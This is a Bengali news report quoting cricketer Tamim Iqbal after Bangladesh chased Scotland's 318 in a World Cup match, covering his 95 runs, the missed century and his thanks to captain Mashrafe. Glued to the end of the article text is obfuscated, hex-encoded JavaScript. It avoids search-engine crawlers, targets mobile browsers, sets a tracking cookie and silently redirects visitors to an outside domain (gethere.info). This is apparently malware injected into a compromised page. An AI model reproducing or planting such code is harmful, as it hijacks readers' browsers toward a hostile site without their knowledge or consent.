সেঞ্চুরি হলে বেশি ভাল লাগতো : তামিম

tttttttttttttttttttttttttttttt
এম.আলি, নেলসন থেকে :  তামিম ইকবালকে নিয়ে বাড়ছিল সমালোচনার ডালপালা। গুরুত্বপুর্ন ম্যাচে দুর্দান্ত এক ইনিংস খেলে সব সমালোচনা উড়িয়ে দিয়েছেন এ উদ্বোধনী ব্যাটসম্যান। আজ (বৃহস্পতিবার) নেলসনে তার ঝকঝকে ৯৫ রানের ইনিংস স্কটল্যান্ডের ৩১৮ রান তাড়া করে বাংলাদেশ পেয়েছে কোয়ার্টার ফাইনালে ওঠার আশাজাগানিয়া জয়। ম্যাচের পর বাংলাদেশ মিডিয়ার বেশি আগ্রহ ছিল তামিমকে ঘিরেই।
‘ম্যাচের আগে আমাদের একটা টিম মিটিং ছিল। কোচ বলেছেন, আমরা প্রথমে ব্যাটিং করব। তিন চার বছর আগের জিম্বাবুয়ের বিপক্ষে যেমন ব্যাটিং করতে হবে। স্কোর বোর্ডের দিকে না তাকিয়ে উইকেটে মনযোগ দেয়ার কথা বলেছেন। উইকেট অসাধারণ ছিল। বলে টাইমিং করলে রান করার জন্য সহজ ছিল। আমরা বল বাই বল খেলার চেষ্টা করেছি’-বলেন তামিম ইকবাল।
স্কটল্যান্ডের মতো দল কিভাবে বাংলাদেশের বিপক্ষে এত রান করলো? এমন প্রশ্নের জবাবে তামিম ইকবাল বলেন ‘আমি নিশ্চিত ঢাকার শেরেবাংলা জাতীয় ক্রিকেট স্টেডিয়ামে স্কটল্যান্ড কোনোভাবেই ৩০০ রান করতে পারবে না। ওদেও রানে আমরা অবশ্যই হতাশ। তবে আমরা যে ধরনের ব্যাটিং করেছি তাতে সন্তুষ্ট। সেঞ্চুরি হয়নি এটা যে কোন ক্রিকেটারেরর জন্য কষ্টের। একটা বড় সুযোগ ছিল বিশ্বকাপমঞ্চে সেঞ্চুরি করার। বলেছিলাম, প্রথম বাংলাদেশি হিসেবে বিশ্বকাপে সেঞ্চুরি করতে চাই। দুঃখজন হলেও হয়নি। জয়ে ভাল লাগছে। সেঞ্চুরি হলে আরও ভাল লাগতো।’

tamim
ফর্মে ফেরার জন্য অধিনায়ক মাশরাফির প্রতি কৃতজ্ঞতা প্রকাশ কেেরছন তামিম ‘ প্রথম দুই ম্যাচে রান তেমন করতে পারিনি। আমি মানসিকভাবে একটু পিছিয়ে পড়েছিলাম। অধিনায়ককে ধন্যবাদ। উনি সব সময় আমাকে সাহস দিয়েছে। বুঝিয়েছে, আমি কত ভালো ব্যাট করতে পারি। অধিনায়ক ছাড়া অন্যরাও সহযোগিতা করেছেন। সবাইকে ধন্যবাদ। ওইদিক থেকে দেখলে আজকে যেটাই করেছি তাতেই আমি খুশি।’
এরকম স্কোর তাড়া করে জেতার রেকর্ড নেই। জিম্বাবুয়ের বিপক্ষে ৩১২ রান চেজ করে জেতার পেছনে আপনার অবদান ছিল সবচেয়ে বেশি। ম্যান অবদ্যা ম্যাচ হয়েছিলেন। এবার ম্যান অব দ্যা ম্যাচ হতে পারলেন না, কোন আক্ষেপ আছে? জবাবে তামিম বলেন,‘ পুরো ম্যাচেই টিম অ্যাফোর্ট ছিল। হয়তোবা আমি রান সবচেয়ে বেশি করেছি। যদি মুশফিকের ইনিংস দেখেন, রিয়াদ ভাইর ইনিংস দেখেন, সাকিবের ইনিংস দেখেন, রুম্মানের ইনিংস দেখেন সবার ইনিংসটাই সমান গুরুত্বপূর্ণ ছিল আমি মনে করি। আর এত বড় রান চেজ করতে আমাদের মতো দলের জন্য একজন দুজনের পক্ষে সম্ভব নয়। হয়তোবা তিন চারজনের পারফরম্যান্স করতে হয়, যেটা আজকে হয়েছে। একটা সম্পূর্ণ দলীয় পারফরম্যান্স। আসলে ম্যান অব দ্যা ম্যাচ একটা এমন জিনিস এটা ভাগ্যেও ব্যাপার থাকে। অনেক সময় ১০০ করেও ম্যান অব দ্যা ম্যাচ হতে পারবেন না। যেরকম আমি জিম্বাবুয়ের বিপক্ষে টেস্ট সিরিজে দুটো ১০০ করেছি একটাতেও ম্যান অব দ্যা ম্যাচ হইনি। এটা ভাগ্যেরও ব্যাপার থাকে। হলে কার না ভালো লাগে। না হলে তো কিছু করার নাই।’

ttttt
রান বেশি হলে ওপেনারদের ওপর একটা চাপ থাকে। সেখানে আজ বিজয় ছিল না। আপনার ওপর চাপ বেশি ছিল কি? ‘প্রথম এক দুই ম্যাচে আমি সেভাবে রান করিনি। আপনি যখন রান করবেন না তখন নানা নেতিবাচক কথা আসবে। আমাকে যেভাবে ইতিবাচকভাবে উৎসাহ দিচ্ছিল সবাই। আমি সব সময় চাই রান করতে, কিন্তু যখন রান করতে না পারি তখন তো স্বাভাবিক খারাপ লাগে। উনারা আমার সাথে যেভাবে কথা বলেছেন, সব মিলে ভালো একটা মাইন্ড অব ফ্রেমে ছিলাম। এমন কি আজকে যখন ৩০০ রান চেজ করতে নামছিলাম তখনও মাশরাফি ভাই বলছিলেন, আমার গিয়েই মারতে হবে তেমন কথা নেই। আমি যদি ৬০ বা ৭০ রান করি তাহলে ম্যাচ জেতা সম্ভব। এটা তার কথা ছিল। এমন কথা বললে, ব্যাটসম্যানের বিশ্বাস থাকে, আমি যদি ২০টা বল বেশিও খেলি এবং আমি জানি যে আমার টিমমেটরা কি ভাবছে। তখন কিন্তু জীবন সহজ হয়ে যায়। একবার বলেছি, আর একবার বলতে চাই মাশরাফি ভাইকে, আমার খারাপ সময়ে টিম ম্যানেজমেন্ট সাপোর্ট করেছে’-বলেছেন তামিম ইকবাল।
ইংল্যান্ডের বিপক্ষে ম্যাচ প্রসঙ্গে তামিম ইকবাল বলেন,‘আমাদের খুবই একটা গুরুত্বপূর্ণ গেম। তার আগে এর থেকে ভালো প্র্যাকটিস হতে পারত না। আজকে যেমন আমরা ৩০০ রান চেজ করে জিতেছি। সবাই ভালো অবস্থায় আছি। আপনি যদি দেখেন বিশ্বকাপে ৩০০ রান প্রায়ই হচ্ছে। আমাদের মধ্যে আত্মবিশ্বাস বেড়ে যাবে যে আমরাও ৩০০ রান চেজ করতে পারব। আসলে ইংল্যান্ডের খেলাটা আমাদের জন্য খুবই গুরুত্বপূর্ণ। একই ভাবে নিউজিল্যান্ডের জন্য। আমরা যদি আজকের মতো সব কাজ ঠিকভাবে করি। বোলাররা সব সময় বল ভালোভাবে করে। টিম এফোর্ট দিতে পারলে বাংলাদেশ যে কোন দলকে হারাতে পারবে।’var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}